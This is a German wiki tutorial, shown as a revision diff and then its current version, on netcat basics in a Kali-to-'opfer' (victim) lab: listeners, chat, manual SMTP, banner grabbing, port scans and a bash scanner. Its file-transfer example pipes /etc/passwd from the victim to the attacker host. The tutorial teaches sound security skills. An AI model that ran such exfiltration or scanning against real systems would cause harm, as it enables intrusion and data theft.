Netcat Basics: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(8 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Listen=
= netcat (nc) – Basics =
=Chat=
;auf kali
*nc -l -p 6789
;auf kali
*ss -lntp | grep 6789


'''netcat''' ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.


=Chat=
; Hinweis zur Variante
;local
: Beispiele hier mit ''nc.traditional'' (<code>-l -p</code>). Bei OpenBSD-''nc'' (Kali-Default) lautet der Listener nur <code>nc -l 6789</code> – dort ist <code>-p</code> der Quellport. <code>-z</code>/<code>-w</code> gibt es bei OpenBSD-nc, nicht bei ''ncat''.
;auf kali
*nc -l -p 6789
;auf kali
*nc kali 6789
;Net
;auf kali
*nc -l -p 6789
;auf opfer
*nc kali 6789


=Filetransfer=
== Listener prüfen ==
;auf kali
*nc -l -p 6789 > /tmp/passwd
;auf opfer
*cat /etc/passwd | nc kali 6789


=Connect a Mailserver=
<pre>
;auf yun
# auf kali: lauschen
*nc mail.tcpdump.de 25
nc -l -p 6789
220 red ESMTP Postfix (Ubuntu)


# auf kali: läuft der Listener?
ss -lntp | grep 6789
</pre>
== Chat ==
<pre>
# lokal (zwei Terminals auf kali)
nc -l -p 6789          # Server
nc kali 6789          # Client
# übers Netz
nc -l -p 6789          # auf kali
nc kali 6789          # auf opfer
</pre>
== Filetransfer ==
<pre>
nc -l -p 6789 > /tmp/passwd          # auf kali (Empfänger)
cat /etc/passwd | nc kali 6789      # auf opfer (Sender)
</pre>
== Mailserver verbinden ==
SMTP von Hand sprechen:
<pre>
nc -C mail.tcpdump.de 25
</pre>
220 mail.tcpdump.de ESMTP Postfix (Ubuntu)
  '''ehlo kit.de'''
  '''ehlo kit.de'''
  250-mail.tcpdump.de
  250 ...
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
  '''mail from: kit13@kit.de'''
  '''mail from: kit13@kit.de'''
  250 2.1.0 Ok
  250 2.1.0 Ok
Zeile 50: Zeile 53:
  354 End data with <CR><LF>.<CR><LF>
  354 End data with <CR><LF>.<CR><LF>
  '''Subject: testmail vom kit'''
  '''Subject: testmail vom kit'''
   
  (Leerzeile)
  '''Hallo Thomas Gruss vom Kit'''
  '''Hallo Thomas, Gruss vom Kit'''
  '''.'''
  '''.'''
  250 2.0.0 Ok: queued as A66DE260542
  250 2.0.0 Ok: queued
  '''quit'''
  '''quit'''
  221 2.0.0 Bye
  221 2.0.0 Bye
=Dem Server Informationen entlocken=
;Webserver
*echo -e "GET / HTTP/1.1\n\n" | nc opfer 80 | grep "^Server"
Server: Apache/2.4.29 (Ubuntu)
;SSH
*echo -e "\n" | nc opfer 22 | grep SSH
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4


=Scan=
== Bannergrabbing ==
;auf yun
 
*netcat -w 1 -z red 9999 ; echo $?
<pre>
0
# Webserver (HTTP/1.0, kein Host-Header nötig)
;erfolgreich
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
*netcat -w 1 -z red 9999 ; echo $?
# -> Server: Apache/2.4.29 (Ubuntu)
1
oder
;nicht erfolgreich
echo -e  'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
 
# SSH (Banner kommt sofort)
nc opfer 22 | head -1
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
 
echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22                 
 
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
4�.:�
    *�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C
 
</pre>
 
== Portscan ==
 
<pre>
# einzelner Port: Exit-Code 0 = offen, 1 = zu
nc -w 1 -z opfer 9999 ; echo $?
 
# Bereich, verbose
nc -z -v opfer 22-80
</pre>
 
opfer [10.0.10.104] 80 (http) open
opfer [10.0.10.104] 25 (smtp) open
opfer [10.0.10.104] 22 (ssh) open
 
== Eigener Scanner ==
 
<pre>
#!/bin/bash
HOST=$1
START=$2
STOP=$3
for ((i=START; i<=STOP; i++)); do
    if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
        echo "$HOST $i open"
    fi
done
</pre>
 
<pre>
./scan opfer 20 100
</pre>
 
== Siehe auch ==


=Scan von Port 22 bis Port 80=
* [[Ss]]
*netcat -z -v  10.0.10.103 22-80
* [[Ip addr]]

Aktuelle Version vom 16. Juni 2026, 08:25 Uhr

netcat (nc) – Basics

netcat ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.

Hinweis zur Variante
Beispiele hier mit nc.traditional (-l -p). Bei OpenBSD-nc (Kali-Default) lautet der Listener nur nc -l 6789 – dort ist -p der Quellport. -z/-w gibt es bei OpenBSD-nc, nicht bei ncat.

Listener prüfen

# auf kali: lauschen
nc -l -p 6789

# auf kali: läuft der Listener?
ss -lntp | grep 6789

Chat

# lokal (zwei Terminals auf kali)
nc -l -p 6789          # Server
nc kali 6789           # Client

# übers Netz
nc -l -p 6789          # auf kali
nc kali 6789           # auf opfer

Filetransfer

nc -l -p 6789 > /tmp/passwd          # auf kali (Empfänger)
cat /etc/passwd | nc kali 6789       # auf opfer (Sender)

Mailserver verbinden

SMTP von Hand sprechen:

nc -C mail.tcpdump.de 25
220 mail.tcpdump.de ESMTP Postfix (Ubuntu)
ehlo kit.de
250 ...
mail from: kit13@kit.de
250 2.1.0 Ok
rcpt to: thomas@xinux.de
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
Subject: testmail vom kit
(Leerzeile)
Hallo Thomas, Gruss vom Kit
.
250 2.0.0 Ok: queued
quit
221 2.0.0 Bye

Bannergrabbing

# Webserver (HTTP/1.0, kein Host-Header nötig)
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
oder 
echo -e  'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)

# SSH (Banner kommt sofort)
nc opfer 22 | head -1
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4

echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22                   

SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
4�.:�
     *�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C

Portscan

# einzelner Port: Exit-Code 0 = offen, 1 = zu
nc -w 1 -z opfer 9999 ; echo $?

# Bereich, verbose
nc -z -v opfer 22-80
opfer [10.0.10.104] 80 (http) open
opfer [10.0.10.104] 25 (smtp) open
opfer [10.0.10.104] 22 (ssh) open

Eigener Scanner

#!/bin/bash
HOST=$1
START=$2
STOP=$3
for ((i=START; i<=STOP; i++)); do
    if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
        echo "$HOST $i open"
    fi
done
./scan opfer 20 100

Siehe auch